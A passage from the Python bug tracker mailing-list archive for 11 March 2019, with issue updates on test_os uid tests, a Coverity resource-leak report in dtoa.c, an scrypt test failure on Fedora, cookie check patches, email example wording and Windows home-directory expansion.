? ncdf(-0.2300000000000000099920072216264088638126850128173828125, 2, 1.3000000000000000444089209850062616169452667236328125)
%3 = 0.043137367078910025352120502108682523151629166877357644882244088336773338416883044522024586619860574718679715351558322591944140762629090301623352497457372937783778706411712862062109829239761761597057063

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36018>
_______________________________________

From report at bugs.python.org  Mon Mar 11 08:57:57 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 11 Mar 2019 12:57:57 +0000
Subject: [issue36234] test_os: add tests for invalid uid type
In-Reply-To: <1552039946.81.0.426305889882.issue36234@roundup.psfhosted.org>
Message-ID: <1552309077.78.0.367847773533.issue36234@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 876e82b4f32075e1bd21750bf852a103035fce23 by Victor Stinner in branch 'master':
bpo-36234: Add more tests to PosixUidGidTests (GH-12234)
https://github.com/python/cpython/commit/876e82b4f32075e1bd21750bf852a103035fce23


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36234>
_______________________________________

From report at bugs.python.org  Mon Mar 11 08:58:18 2019
From: report at bugs.python.org (miss-islington)
Date: Mon, 11 Mar 2019 12:58:18 +0000
Subject: [issue36234] test_os: add tests for invalid uid type
In-Reply-To: <1552039946.81.0.426305889882.issue36234@roundup.psfhosted.org>
Message-ID: <1552309098.51.0.925642719113.issue36234@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12255

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36234>
_______________________________________

From report at bugs.python.org  Mon Mar 11 08:59:46 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 11 Mar 2019 12:59:46 +0000
Subject: [issue36234] test_os: add tests for invalid uid type
In-Reply-To: <1552039946.81.0.426305889882.issue36234@roundup.psfhosted.org>
Message-ID: <1552309186.11.0.51070750936.issue36234@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 701af605df336c9e32751e9031266a2da60656c1 by Victor Stinner in branch '2.7':
bpo-36234: test_os: check TypeError for invalid uid type (GH-12235)
https://github.com/python/cpython/commit/701af605df336c9e32751e9031266a2da60656c1


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36234>
_______________________________________

From report at bugs.python.org  Mon Mar 11 09:18:54 2019
From: report at bugs.python.org (miss-islington)
Date: Mon, 11 Mar 2019 13:18:54 +0000
Subject: [issue36234] test_os: add tests for invalid uid type
In-Reply-To: <1552039946.81.0.426305889882.issue36234@roundup.psfhosted.org>
Message-ID: <1552310334.23.0.822625526259.issue36234@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 24872e1e15a816fb8e79c2885cafb7d785393547 by Miss Islington (bot) in branch '3.7':
bpo-36234: Add more tests to PosixUidGidTests (GH-12234)
https://github.com/python/cpython/commit/24872e1e15a816fb8e79c2885cafb7d785393547


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36234>
_______________________________________

From report at bugs.python.org  Mon Mar 11 09:20:42 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 11 Mar 2019 13:20:42 +0000
Subject: [issue36234] test_os: add tests for invalid uid type
In-Reply-To: <1552039946.81.0.426305889882.issue36234@roundup.psfhosted.org>
Message-ID: <1552310442.37.0.848497980952.issue36234@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Thanks David Malcolm :-)

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36234>
_______________________________________

From report at bugs.python.org  Mon Mar 11 09:37:09 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 11 Mar 2019 13:37:09 +0000
Subject: [issue4459] bdist_rpm should enable --fix-python by default
In-Reply-To: <1227969751.28.0.990351219395.issue4459@psf.upfronthosting.co.za>
Message-ID: <1552311429.01.0.22362658797.issue4459@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I reopen the issue. The command still needs --fix-python and distutils2 project has been abandonned.

Bug report in RHEL:
https://bugzilla.redhat.com/show_bug.cgi?id=1673325

----------
nosy: +vstinner
resolution: rejected -> 
status: closed -> open
versions: +Python 3.8 -Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue4459>
_______________________________________

From report at bugs.python.org  Mon Mar 11 09:53:27 2019
From: report at bugs.python.org (Charalampos Stratakis)
Date: Mon, 11 Mar 2019 13:53:27 +0000
Subject: [issue36262] Coverity scan: Python/dtoa.c resource leak
Message-ID: <1552312407.35.0.685640329933.issue36262@roundup.psfhosted.org>


New submission from Charalampos Stratakis <cstratak at redhat.com>:

Coverity report on dtoa.c. It was run on python2 but the same code resides on python3.

Error: RESOURCE_LEAK (CWE-772): [#def89]
Python-2.7.15/Python/dtoa.c:1846: alloc_fn: Storage is returned from allocation function "s2b".
Python-2.7.15/Python/dtoa.c:526:9: alloc_fn: Storage is returned from allocation function "multadd".
Python-2.7.15/Python/dtoa.c:479:13: alloc_fn: Storage is returned from allocation function "Balloc".
Python-2.7.15/Python/dtoa.c:371:13: alloc_fn: Storage is returned from allocation function "PyMem_Malloc".
Python-2.7.15/Objects/object.c:2348:5: alloc_fn: Storage is returned from allocation function "malloc".
Python-2.7.15/Objects/object.c:2348:5: return_alloc_fn: Directly returning storage allocated by "malloc".
Python-2.7.15/Python/dtoa.c:371:13: var_assign: Assigning: "rv" = "PyMem_Malloc(len * 8UL)".
Python-2.7.15/Python/dtoa.c:379:5: return_alloc: Returning allocated memory "rv".
Python-2.7.15/Python/dtoa.c:479:13: var_assign: Assigning: "b1" = "Balloc(b->k + 1)".
Python-2.7.15/Python/dtoa.c:486:13: var_assign: Assigning: "b" = "b1".
Python-2.7.15/Python/dtoa.c:491:5: return_alloc: Returning allocated memory "b".
Python-2.7.15/Python/dtoa.c:526:9: var_assign: Assigning: "b" = "multadd(b, 10, *s++ - 48)".
Python-2.7.15/Python/dtoa.c:530:5: return_alloc: Returning allocated memory "b".
Python-2.7.15/Python/dtoa.c:1846: var_assign: Assigning: "bd0" = storage returned from "s2b(s0, nd0, nd, y)".
Python-2.7.15/Python/dtoa.c:2249: leaked_storage: Variable "bd0" going out of scope leaks the storage it points to.
 2247|   
 2248|     undfl:
 2249|->     return sign ? -0.0 : 0.0;
 2250|   
 2251|     ovfl:

Error: RESOURCE_LEAK (CWE-772): [#def90]
Python-2.7.15/Python/dtoa.c:2006: alloc_fn: Storage is returned from allocation function "diff".
Python-2.7.15/Python/dtoa.c:952:5: alloc_fn: Storage is returned from allocation function "Balloc".
Python-2.7.15/Python/dtoa.c:371:13: alloc_fn: Storage is returned from allocation function "PyMem_Malloc".
Python-2.7.15/Objects/object.c:2348:5: alloc_fn: Storage is returned from allocation function "malloc".
Python-2.7.15/Objects/object.c:2348:5: return_alloc_fn: Directly returning storage allocated by "malloc".
Python-2.7.15/Python/dtoa.c:371:13: var_assign: Assigning: "rv" = "PyMem_Malloc(len * 8UL)".
Python-2.7.15/Python/dtoa.c:379:5: return_alloc: Returning allocated memory "rv".
Python-2.7.15/Python/dtoa.c:952:5: var_assign: Assigning: "c" = "Balloc(a->k)".
Python-2.7.15/Python/dtoa.c:962:5: var_assign: Assigning: "xc" = "c".
Python-2.7.15/Python/dtoa.c:996:5: return_alloc: Returning allocated memory "c".
Python-2.7.15/Python/dtoa.c:2006: var_assign: Assigning: "delta" = storage returned from "diff(bb, bd)".
Python-2.7.15/Python/dtoa.c:2016: noescape: Resource "delta" is not freed or pointed-to in "cmp".
Python-2.7.15/Python/dtoa.c:890:13: noescape: "cmp(Bigint *, Bigint *)" does not free or save its parameter "a".
Python-2.7.15/Python/dtoa.c:2129: noescape: Resource "delta" is not freed or pointed-to in "ratio".
Python-2.7.15/Python/dtoa.c:1179:15: noescape: "ratio(Bigint *, Bigint *)" does not free or save its parameter "a".
Python-2.7.15/Python/dtoa.c:2249: leaked_storage: Variable "delta" going out of scope leaks the storage it points to.
 2247|   
 2248|     undfl:
 2249|->     return sign ? -0.0 : 0.0;
 2250|   
 2251|     ovfl:

----------
components: Interpreter Core
messages: 337668
nosy: cstratak
priority: normal
severity: normal
status: open
title: Coverity scan: Python/dtoa.c resource leak
versions: Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36262>
_______________________________________

From report at bugs.python.org  Mon Mar 11 09:54:31 2019
From: report at bugs.python.org (Charalampos Stratakis)
Date: Mon, 11 Mar 2019 13:54:31 +0000
Subject: [issue36262] Coverity scan: Python/dtoa.c resource leak
In-Reply-To: <1552312407.35.0.685640329933.issue36262@roundup.psfhosted.org>
Message-ID: <1552312471.24.0.849995098875.issue36262@roundup.psfhosted.org>


Change by Charalampos Stratakis <cstratak at redhat.com>:


----------
nosy: +mark.dickinson, vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36262>
_______________________________________

From report at bugs.python.org  Mon Mar 11 10:03:27 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 11 Mar 2019 14:03:27 +0000
Subject: [issue36262] Coverity scan: Python/dtoa.c resource leak
In-Reply-To: <1552312407.35.0.685640329933.issue36262@roundup.psfhosted.org>
Message-ID: <1552313007.81.0.698712425711.issue36262@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

* bpo-9009 discussed maintenance of Python/dtoa.c
* Python/dtoa.c asks to frequently update it from "upstream" http://www.netlib.org/fp/dtoa.c
* The upstream is also mentioned in the license: https://docs.python.org/dev/license.html#strtod-and-dtoa

... in practice, it seems like Python became the "upstream". I see lot of changes, but I'm not sure that version maintained by David M. Gay on http://www.netlib.org/fp/dtoa.c has been updated since Mark Dickinson copied it to Python/dtoa.c:

commit b08a53a99def3fa949643974f713b5b189e21bc7
Author: Mark Dickinson <dickinsm at gmail.com>
Date:   Thu Apr 16 19:52:09 2009 +0000

    Issue #1580: use short float repr where possible.
     - incorporate and adapt David Gay's dtoa and strtod
       into the Python core
     - on platforms where we can use Gay's code (almost
       all!), repr(float) is based on the shortest
       sequence of decimal digits that rounds correctly.
     - add sys.float_repr_style attribute to indicate
       whether we're using Gay's code or not
     - add autoconf magic to detect and enable SSE2
       instructions on x86/gcc
     - slight change to repr and str:  repr switches
       to exponential notation at 1e16 instead of
       1e17, str switches at 1e11 instead of 1e12

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36262>
_______________________________________

From report at bugs.python.org  Mon Mar 11 10:18:31 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 11 Mar 2019 14:18:31 +0000
Subject: [issue36262] Coverity scan: Python/dtoa.c resource leak
In-Reply-To: <1552312407.35.0.685640329933.issue36262@roundup.psfhosted.org>
Message-ID: <1552313911.01.0.893626751297.issue36262@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Julia copied the same file. See:

* https://bugs.llvm.org//show_bug.cgi?id=31928
* https://bugs.freebsd.org/216770
* https://bugs.python.org/issue30104: "It was decided to not touch dtoa.c to not diverge from upstream."

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36262>
_______________________________________

From report at bugs.python.org  Mon Mar 11 10:43:52 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 11 Mar 2019 14:43:52 +0000
Subject: [issue36233] xml ElementTree quotation marks of xml version string
In-Reply-To: <1552039687.7.0.55265972714.issue36233@roundup.psfhosted.org>
Message-ID: <1552315432.63.0.514792821177.issue36233@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

Then report a bug to OpenCV.

I do not think that changing quotation marks in the xml declaration will help much, since likely that parser has other flaws (for example what about using single quotes for attributes?).

Changing quotation marks for sure will break many tests, in particularly our own tests. Needed a stronger reason to overcome this.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36233>
_______________________________________

From report at bugs.python.org  Mon Mar 11 10:50:01 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 11 Mar 2019 14:50:01 +0000
Subject: [issue36262] Coverity scan: Python/dtoa.c resource leak
In-Reply-To: <1552312407.35.0.685640329933.issue36262@roundup.psfhosted.org>
Message-ID: <1552315801.62.0.468497452744.issue36262@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
keywords: +patch
pull_requests: +12256
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36262>
_______________________________________

From report at bugs.python.org  Mon Mar 11 10:50:08 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Mon, 11 Mar 2019 14:50:08 +0000
Subject: [issue27916] Use time.monotonic instead of time.time where appropriate
In-Reply-To: <1472658676.29.0.976088579174.issue27916@psf.upfronthosting.co.za>
Message-ID: <1552315808.27.0.620646852481.issue27916@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

multiprocessing was changed to use time.monotonic in issue 34054.  Based on the other feedback on this thread, I'm going to close this.

----------
nosy: +cheryl.sabella
resolution:  -> rejected
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue27916>
_______________________________________

From report at bugs.python.org  Mon Mar 11 10:51:39 2019
From: report at bugs.python.org (Pierre Glaser)
Date: Mon, 11 Mar 2019 14:51:39 +0000
Subject: [issue35900] Add pickler hook for the user to customize the
 serialization of user defined functions and types.
In-Reply-To: <1549377622.96.0.737929222958.issue35900@roundup.psfhosted.org>
Message-ID: <1552315899.34.0.978271906319.issue35900@roundup.psfhosted.org>


Pierre Glaser <pierreglaser at msn.com> added the comment:

Update:

Instead of changing permission on some attributes of function objects (__globals__ and __closure__), we added an optional argument called state_setter to save_reduce. This expects a callable that will be saved inside the object's pickle string, and called when setting the state of the object instead of using the default way in load_build.
This allows for external flexibility when setting custom pickling behavior of built-in types (in our use-cases: function and classes). I updated the patches so that anyone interested can take a look.

Also, we tested the cloudpickle package against these patches (see https://github.com/cloudpipe/cloudpickle/pull/253). The tests run fine, and we observe a 10-30x speedup for real-life use-cases. We are starting to hit convergence on the implementation :)

----------
Added file: https://bugs.python.org/file48203/pickler_hook.patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35900>
_______________________________________

From report at bugs.python.org  Mon Mar 11 11:09:46 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Mon, 11 Mar 2019 15:09:46 +0000
Subject: [issue36240] Definitions of time
In-Reply-To: <1552055339.11.0.882485944217.issue36240@roundup.psfhosted.org>
Message-ID: <1552316986.24.0.00236264666362.issue36240@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +p-ganssle

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36240>
_______________________________________

From report at bugs.python.org  Mon Mar 11 11:15:11 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 11 Mar 2019 15:15:11 +0000
Subject: [issue36263] test_hashlib.test_scrypt() fails on Fedora 29
Message-ID: <1552317311.05.0.612992750251.issue36263@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

$ ./python -m test -v test_hashlib -m test_scrypt
...
ERROR: test_scrypt (test.test_hashlib.KDFTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/vstinner/prog/python/master/Lib/test/test_hashlib.py", line 941, in test_scrypt
    result = hashlib.scrypt(password, salt=salt, n=n, r=r, p=p)
ValueError: Invalid parameter combination for n, r, p, maxmem.
...

The patch pass with the following patch:
---
diff --git a/Modules/_hashopenssl.c b/Modules/_hashopenssl.c
index e560c18b63..22682ea86d 100644
--- a/Modules/_hashopenssl.c
+++ b/Modules/_hashopenssl.c
@@ -770,6 +770,7 @@ _hashlib_scrypt_impl(PyObject *module, Py_buffer *password, Py_buffer *salt,
         return NULL;
     }
 
+#if 0
     /* let OpenSSL validate the rest */
     retval = EVP_PBE_scrypt(NULL, 0, NULL, 0, n, r, p, maxmem, NULL, 0);
     if (!retval) {
@@ -778,6 +779,7 @@ _hashlib_scrypt_impl(PyObject *module, Py_buffer *password, Py_buffer *salt,
                         "Invalid parameter combination for n, r, p, maxmem.");
         return NULL;
    }
+#endif
 
     key_obj = PyBytes_FromStringAndSize(NULL, dklen);
     if (key_obj == NULL) {
---

$ ./python -m test.pythoninfo|grep -E '^ssl|libc_ver'
platform.libc_ver: glibc 2.28
ssl.HAS_SNI: True
ssl.OPENSSL_VERSION: OpenSSL 1.1.1b FIPS  26 Feb 2019
ssl.OPENSSL_VERSION_INFO: (1, 1, 1, 2, 15)
ssl.OP_ALL: 0x80000054
ssl.OP_NO_TLSv1_1: 0x10000000

Note: I don't think that libxcrypt is related, but just in case:

$ rpm -q libxcrypt
libxcrypt-4.4.4-1.fc29.x86_64
libxcrypt-4.4.4-1.fc29.i686
vstinner at apu$ 

Note 2: It seems like bpo-27928 "Add hashlib.scrypt" is still open whereas it has been implemented in Python 3.6.

----------
assignee: christian.heimes
components: SSL
messages: 337674
nosy: christian.heimes, vstinner
priority: normal
severity: normal
status: open
title: test_hashlib.test_scrypt() fails on Fedora 29
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36263>
_______________________________________

From report at bugs.python.org  Mon Mar 11 11:22:08 2019
From: report at bugs.python.org (Alexander Belopolsky)
Date: Mon, 11 Mar 2019 15:22:08 +0000
Subject: [issue36240] Definitions of time
In-Reply-To: <1552055339.11.0.882485944217.issue36240@roundup.psfhosted.org>
Message-ID: <1552317728.32.0.984948502791.issue36240@roundup.psfhosted.org>


Alexander Belopolsky <alexander.belopolsky at gmail.com> added the comment:

How about replacing "formerly known as Greenwich Mean Time, or GMT" with "which superseded Greenwich Mean Time or GMT as the basis of international timekeeping"?

I don't think Python reference manual is the right place to explain the difference between UTC and GMT, but since we have time.gmtime() function, GMT should still be mentioned.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36240>
_______________________________________

From report at bugs.python.org  Mon Mar 11 11:26:07 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Mon, 11 Mar 2019 15:26:07 +0000
Subject: [issue35647] Cookie path check returns incorrect results
In-Reply-To: <1546502396.67.0.243403156352.issue35647@roundup.psfhosted.org>
Message-ID: <1552317967.85.0.476682501458.issue35647@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
pull_requests: +12257

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35647>
_______________________________________

From report at bugs.python.org  Mon Mar 11 11:29:41 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Mon, 11 Mar 2019 15:29:41 +0000
Subject: [issue16385] evaluating literal dict with repeated keys gives no
 warnings/errors
In-Reply-To: <1351859267.72.0.446639729186.issue16385@psf.upfronthosting.co.za>
Message-ID: <1552318181.3.0.441186187708.issue16385@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

Guido van Rossum said in https://mail.python.org/pipermail/python-ideas/2019-March/055726.html: "this was an explicit design
decision that I made nearly 30 years ago".

I think the best way to avoid silently accepting such values would be to use @gregory.p.smith to use a function call to create the dictionary since duplicate keyword arguments raise an exception there.

I suggest to close this bug report since it works as expected.

----------
nosy: +remi.lapeyre
versions: +Python 3.7, Python 3.8 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue16385>
_______________________________________

From report at bugs.python.org  Mon Mar 11 11:36:19 2019
From: report at bugs.python.org (R. David Murray)
Date: Mon, 11 Mar 2019 15:36:19 +0000
Subject: [issue36261] email examples should not gratuitously mess with preamble
In-Reply-To: <1552303649.8.0.648804018015.issue36261@roundup.psfhosted.org>
Message-ID: <1552318579.94.0.67692773214.issue36261@roundup.psfhosted.org>


R. David Murray <rdmurray at bitdance.com> added the comment:

I don't see "several", can you point to the other instances?  I only see that one case you mention (for reference, it is in Doc/includes/email-mime.py).  The other case of setting preamble is actually correct ("You will not see this in a MIME-aware mail reader").  We could change email-mime to say the same thing.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36261>
_______________________________________

From report at bugs.python.org  Mon Mar 11 11:39:13 2019
From: report at bugs.python.org (R. David Murray)
Date: Mon, 11 Mar 2019 15:39:13 +0000
Subject: [issue36261] email examples should not gratuitously mess with preamble
In-Reply-To: <1552303649.8.0.648804018015.issue36261@roundup.psfhosted.org>
Message-ID: <1552318753.93.0.189092972061.issue36261@roundup.psfhosted.org>


R. David Murray <rdmurray at bitdance.com> added the comment:

We could also change both of them to be more correct and say something like "If you are reading this your browser probably does not support MIME, and you will have to find a MIME aware email client or decode the message by hand."  That demonstrates what the preamble is actually for.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36261>
_______________________________________

From report at bugs.python.org  Mon Mar 11 11:39:29 2019
From: report at bugs.python.org (R. David Murray)
Date: Mon, 11 Mar 2019 15:39:29 +0000
Subject: [issue36261] email examples should not gratuitously mess with preamble
In-Reply-To: <1552303649.8.0.648804018015.issue36261@roundup.psfhosted.org>
Message-ID: <1552318769.17.0.30388434103.issue36261@roundup.psfhosted.org>


Change by R. David Murray <rdmurray at bitdance.com>:


----------
stage:  -> needs patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36261>
_______________________________________

From report at bugs.python.org  Mon Mar 11 11:46:08 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Mon, 11 Mar 2019 15:46:08 +0000
Subject: [issue35647] Cookie path check returns incorrect results
In-Reply-To: <1546502396.67.0.243403156352.issue35647@roundup.psfhosted.org>
Message-ID: <1552319168.81.0.893246295721.issue35647@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
pull_requests: +12258

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35647>
_______________________________________

From report at bugs.python.org  Mon Mar 11 11:46:12 2019
From: report at bugs.python.org (Jonathan Fine)
Date: Mon, 11 Mar 2019 15:46:12 +0000
Subject: [issue16385] evaluating literal dict with repeated keys gives no
 warnings/errors
In-Reply-To: <1351859267.72.0.446639729186.issue16385@psf.upfronthosting.co.za>
Message-ID: <1552319172.11.0.9037401197.issue16385@roundup.psfhosted.org>


Jonathan Fine <jfine2358 at gmail.com> added the comment:

This is was closed and tagged as resolved in 2012. The status has not been changed since then.

Using dict(a=1, ...) provides a workaround, but only when the keys are valid as variable names. The general workaround is something like
    helper([
        (1, 'a'),
        (2, 'b'),
        #etc
    ])

The helper is necessary:
>>> [(1, 2)] * 5
[(1, 2), (1, 2), (1, 2), (1, 2), (1, 2)]
>>> dict([(1, 2)] * 5)
{1: 2}

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue16385>
_______________________________________

From report at bugs.python.org  Mon Mar 11 11:47:16 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Mon, 11 Mar 2019 15:47:16 +0000
Subject: [issue35647] Cookie path check returns incorrect results
In-Reply-To: <1546502396.67.0.243403156352.issue35647@roundup.psfhosted.org>
Message-ID: <1552319236.2.0.553921095486.issue35647@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
versions: +Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35647>
_______________________________________

From report at bugs.python.org  Mon Mar 11 11:49:28 2019
From: report at bugs.python.org (Erik Bray)
Date: Mon, 11 Mar 2019 15:49:28 +0000
Subject: [issue36231] no "proper" header files on macOS 10.14 Mojave
In-Reply-To: <1552039427.3.0.599611853277.issue36231@roundup.psfhosted.org>
Message-ID: <1552319368.67.0.0871814371631.issue36231@roundup.psfhosted.org>


Erik Bray <erik.m.bray at gmail.com> added the comment:

Perhaps it would be better if the `xcrun --show-sdk-path` thing were run at configure-time and its result shoved into a variable we can read with sysconfig.get_config_var()

----------
nosy: +erik.bray

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36231>
_______________________________________

From report at bugs.python.org  Mon Mar 11 11:54:07 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Mon, 11 Mar 2019 15:54:07 +0000
Subject: [issue35121] Cookie domain check returns incorrect results
In-Reply-To: <1540968768.96.0.788709270274.issue35121@psf.upfronthosting.co.za>
Message-ID: <1552319647.36.0.121816735645.issue35121@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
pull_requests: +12259
stage: commit review -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35121>
_______________________________________

From report at bugs.python.org  Mon Mar 11 11:56:05 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 11 Mar 2019 15:56:05 +0000
Subject: [issue36263] test_hashlib.test_scrypt() fails on Fedora 29
In-Reply-To: <1552317311.05.0.612992750251.issue36263@roundup.psfhosted.org>
Message-ID: <1552319765.42.0.980877160224.issue36263@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Python 3.7 is also affected, but not Python 2.7.

----------
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36263>
_______________________________________

From report at bugs.python.org  Mon Mar 11 11:56:57 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 11 Mar 2019 15:56:57 +0000
Subject: [issue36263] test_hashlib.test_scrypt() fails on Fedora 29
In-Reply-To: <1552317311.05.0.612992750251.issue36263@roundup.psfhosted.org>
Message-ID: <1552319817.09.0.976818671131.issue36263@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
keywords: +patch
pull_requests: +12260
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36263>
_______________________________________

From report at bugs.python.org  Mon Mar 11 12:02:58 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Mon, 11 Mar 2019 16:02:58 +0000
Subject: [issue35121] Cookie domain check returns incorrect results
In-Reply-To: <1540968768.96.0.788709270274.issue35121@psf.upfronthosting.co.za>
Message-ID: <1552320178.61.0.730522427762.issue35121@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
pull_requests: +12261

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35121>
_______________________________________

From report at bugs.python.org  Mon Mar 11 12:03:14 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 11 Mar 2019 16:03:14 +0000
Subject: [issue36263] test_hashlib.test_scrypt() fails on Fedora 29
In-Reply-To: <1552317311.05.0.612992750251.issue36263@roundup.psfhosted.org>
Message-ID: <1552320194.92.0.569140903933.issue36263@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I tried but failed to identify when test_hashlib started to fail whereas it was fine previously. IMHO it can only be a changed in OpenSSL.

It might be a different between Fedora packages openssl-1.1.1b-1.fc29 (built at 2019-02-28) and openssl-1.1.1b-2.fc29 (built at 2019-03-01). 

Other older packages:
* openssl-1.1.1a-1.fc29 (2019-01-15)
* openssl-1.1.1-3.fc29 (2018-09-17)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36263>
_______________________________________

From report at bugs.python.org  Mon Mar 11 12:09:57 2019
From: report at bugs.python.org (Anthony Sottile)
Date: Mon, 11 Mar 2019 16:09:57 +0000
Subject: [issue36264] os.path.expanduser should not use HOME on windows
Message-ID: <1552320597.36.0.934790753816.issue36264@roundup.psfhosted.org>


New submission from Anthony Sottile <asottile at umich.edu>:

The current code for `os.path.expanduser` in `ntpath` uses `HOME` in preference to `USERPROFILE` / `HOMEDRIVE\\HOMEPATH`

I can't find any documentation of `HOME` being relevant on windows (only on posix).  For example, wikipedia only mentions `USERPROFILE` / `HOMEDRIVE\\HOMEPATH` options: https://en.wikipedia.org/wiki/Home_directory#Default_home_directory_per_operating_system

Seems to be (one of) the direct causes of a downstream bug for me: https://github.com/pre-commit/pre-commit/issues/960

(msys sets `HOME` to a bogus value if `HOMEDRIVE` is set, then python uses it)

My proposal is to remove these lines and change the `elif` to an `if`:

https://github.com/python/cpython/blob/d9bd8ec2a40ea67bc4248a72943a409ee645ddf3/Lib/ntpath.py#L302-L304

----------
components: Library (Lib), Windows
messages: 337683
nosy: Anthony Sottile, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: os.path.expanduser should not use HOME on windows
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36264>
_______________________________________

From report at bugs.python.org  Mon Mar 11 12:18:29 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 11 Mar 2019 16:18:29 +0000
Subject: [issue36263] test_hashlib.test_scrypt() fails on Fedora 29
In-Reply-To: <1552317311.05.0.612992750251.issue36263@roundup.psfhosted.org>
Message-ID: <1552321109.95.0.577457656856.issue36263@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Attached PR 12280 fix the issue: the salt wasn't passed to EVP_PBE_scrypt() and so the function fails with "missing salt".

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36263>
_______________________________________

From report at bugs.python.org  Mon Mar 11 12:29:19 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 11 Mar 2019 16:29:19 +0000
